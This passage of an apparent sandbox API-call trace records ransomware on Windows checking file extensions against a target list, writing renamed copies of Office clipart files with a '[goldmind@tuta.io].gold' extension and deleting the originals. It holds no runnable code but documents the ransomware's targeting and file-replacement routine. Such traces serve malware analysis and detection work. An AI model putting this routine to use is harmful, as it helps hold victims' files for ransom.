Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf")) returned 1 [0115.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.354] lstrlenW (lpString=".doc") returned 4 [0115.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.354] lstrlenW (lpString=".docx") returned 5 [0115.354] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.354] lstrlenW (lpString=".pdf") returned 4 [0115.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.354] lstrlenW (lpString=".xls") returned 4 [0115.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.354] lstrlenW (lpString=".xlsx") returned 5 [0115.354] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.354] lstrlenW (lpString=".ppt") returned 4 [0115.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.354] lstrlenW (lpString=".zip") returned 4 [0115.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.354] lstrlenW (lpString=".rar") returned 4 [0115.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.354] lstrlenW (lpString=".bz2") returned 4 [0115.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.354] lstrlenW (lpString=".7z") returned 3 [0115.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.354] lstrlenW (lpString=".dbf") returned 4 [0115.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.354] lstrlenW (lpString=".1cd") returned 4 [0115.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.354] lstrlenW (lpString=".jpg") returned 4 [0115.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.355] lstrlenW (lpString=".doc") returned 4 [0115.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.355] lstrlenW (lpString=".docx") returned 5 [0115.355] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.355] lstrlenW (lpString=".pdf") returned 4 [0115.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.355] lstrlenW (lpString=".xls") returned 4 [0115.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.355] lstrlenW (lpString=".xlsx") returned 5 [0115.355] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.355] lstrlenW (lpString=".ppt") returned 4 [0115.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.355] lstrlenW (lpString=".zip") returned 4 [0115.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.355] lstrlenW (lpString=".rar") returned 4 [0115.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.355] lstrlenW (lpString=".bz2") returned 4 [0115.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.355] lstrlenW (lpString=".7z") returned 3 [0115.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.355] lstrlenW (lpString=".dbf") returned 4 [0115.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.355] lstrlenW (lpString=".1cd") returned 4 [0115.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0115.355] lstrlenW (lpString=".jpg") returned 4 [0115.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.355] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.355] lstrlenW (lpString="J0216600.WMF") returned 12 [0115.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0115.362] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=8006) returned 1 [0115.362] CloseHandle (hObject=0x394) returned 1 [0115.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf")) returned 0x20 [0115.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0115.363] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.363] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.366] GetLastError () returned 0x0 [0115.366] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1f46, lpOverlapped=0x0) returned 1 [0115.405] WriteFile (in: hFile=0x3ec, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1f50, lpOverlapped=0x0) returned 1 [0115.406] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0115.406] WriteFile (in: hFile=0x3ec, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.406] SetEndOfFile (hFile=0x3ec) returned 1 [0115.673] CloseHandle (hObject=0x3ec) returned 1 [0115.673] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.673] SetEndOfFile (hFile=0x394) returned 1 [0115.995] CloseHandle (hObject=0x394) returned 1 [0115.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf")) returned 1 [0115.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.997] lstrlenW (lpString=".doc") returned 4 [0115.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.997] lstrlenW (lpString=".docx") returned 5 [0115.997] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.997] lstrlenW (lpString=".pdf") returned 4 [0115.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.997] lstrlenW (lpString=".xls") returned 4 [0115.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.997] lstrlenW (lpString=".xlsx") returned 5 [0115.997] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.998] lstrlenW (lpString=".ppt") returned 4 [0115.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.998] lstrlenW (lpString=".zip") returned 4 [0115.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.998] lstrlenW (lpString=".rar") returned 4 [0115.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString=".bz2") returned 4 [0115.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString=".7z") returned 3 [0115.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.998] lstrlenW (lpString=".dbf") returned 4 [0115.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.998] lstrlenW (lpString=".1cd") returned 4 [0115.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.998] lstrlenW (lpString=".jpg") returned 4 [0115.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.998] lstrlenW (lpString=".doc") returned 4 [0115.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString=".docx") returned 5 [0115.998] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.998] lstrlenW (lpString=".pdf") returned 4 [0115.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString=".xls") returned 4 [0115.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.998] lstrlenW (lpString=".xlsx") returned 5 [0115.998] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.998] lstrlenW (lpString=".ppt") returned 4 [0115.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.998] lstrlenW (lpString=".zip") returned 4 [0115.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.998] lstrlenW (lpString=".rar") returned 4 [0115.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString=".bz2") returned 4 [0115.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString=".7z") returned 3 [0115.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.998] lstrlenW (lpString=".dbf") returned 4 [0115.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.998] lstrlenW (lpString=".1cd") returned 4 [0115.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0115.998] lstrlenW (lpString=".jpg") returned 4 [0115.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.999] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.999] lstrlenW (lpString="J0230553.WMF") returned 12 [0115.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.242] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7594) returned 1 [0116.242] CloseHandle (hObject=0x398) returned 1 [0116.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf")) returned 0x20 [0116.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.243] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0116.243] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0116.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0116.245] GetLastError () returned 0x0 [0116.245] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1daa, lpOverlapped=0x0) returned 1 [0116.246] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1db0, lpOverlapped=0x0) returned 1 [0116.247] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0116.247] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.247] SetEndOfFile (hFile=0x3f8) returned 1 [0116.247] CloseHandle (hObject=0x3f8) returned 1 [0116.247] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0116.247] SetEndOfFile (hFile=0x398) returned 1 [0116.249] CloseHandle (hObject=0x398) returned 1 [0116.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf")) returned 1 [0116.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.250] lstrlenW (lpString=".doc") returned 4 [0116.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.250] lstrlenW (lpString=".docx") returned 5 [0116.250] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0116.250] lstrlenW (lpString=".pdf") returned 4 [0116.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.250] lstrlenW (lpString=".xls") returned 4 [0116.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.250] lstrlenW (lpString=".xlsx") returned 5 [0116.250] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0116.250] lstrlenW (lpString=".ppt") returned 4 [0116.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.250] lstrlenW (lpString=".zip") returned 4 [0116.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.250] lstrlenW (lpString=".rar") returned 4 [0116.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.250] lstrlenW (lpString=".bz2") returned 4 [0116.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.250] lstrlenW (lpString=".7z") returned 3 [0116.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.250] lstrlenW (lpString=".dbf") returned 4 [0116.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.250] lstrlenW (lpString=".1cd") returned 4 [0116.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.250] lstrlenW (lpString=".jpg") returned 4 [0116.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.250] lstrlenW (lpString=".doc") returned 4 [0116.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.250] lstrlenW (lpString=".docx") returned 5 [0116.250] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0116.250] lstrlenW (lpString=".pdf") returned 4 [0116.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.250] lstrlenW (lpString=".xls") returned 4 [0116.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.251] lstrlenW (lpString=".xlsx") returned 5 [0116.251] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0116.251] lstrlenW (lpString=".ppt") returned 4 [0116.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.251] lstrlenW (lpString=".zip") returned 4 [0116.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.251] lstrlenW (lpString=".rar") returned 4 [0116.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.251] lstrlenW (lpString=".bz2") returned 4 [0116.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.251] lstrlenW (lpString=".7z") returned 3 [0116.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.251] lstrlenW (lpString=".dbf") returned 4 [0116.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.251] lstrlenW (lpString=".1cd") returned 4 [0116.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0116.251] lstrlenW (lpString=".jpg") returned 4 [0116.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.251] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0116.251] lstrlenW (lpString="J0232803.WMF") returned 12 [0116.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.252] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=19942) returned 1 [0116.252] CloseHandle (hObject=0x398) returned 1 [0116.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf")) returned 0x20 [0116.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.252] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0116.252] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0116.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0116.253] GetLastError () returned 0x0 [0116.253] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x4de6, lpOverlapped=0x0) returned 1 [0116.255] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x4df0, lpOverlapped=0x0) returned 1 [0116.256] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0116.256] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.256] SetEndOfFile (hFile=0x3f8) returned 1 [0116.256] CloseHandle (hObject=0x3f8) returned 1 [0116.256] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0116.256] SetEndOfFile (hFile=0x398) returned 1 [0116.258] CloseHandle (hObject=0x398) returned 1 [0116.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf")) returned 1 [0116.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0116.260] lstrlenW (lpString=".doc") returned 4 [0116.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.260] lstrlenW (lpString=".docx") returned 5 [0116.260] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0116.260] lstrlenW (lpString=".pdf") returned 4 [0116.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.260] lstrlenW (lpString=".xls") returned 4 [0116.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.260] lstrlenW (lpString=".xlsx") returned 5 [0116.260] lstrcmpiW (lpString1=".xlsx", 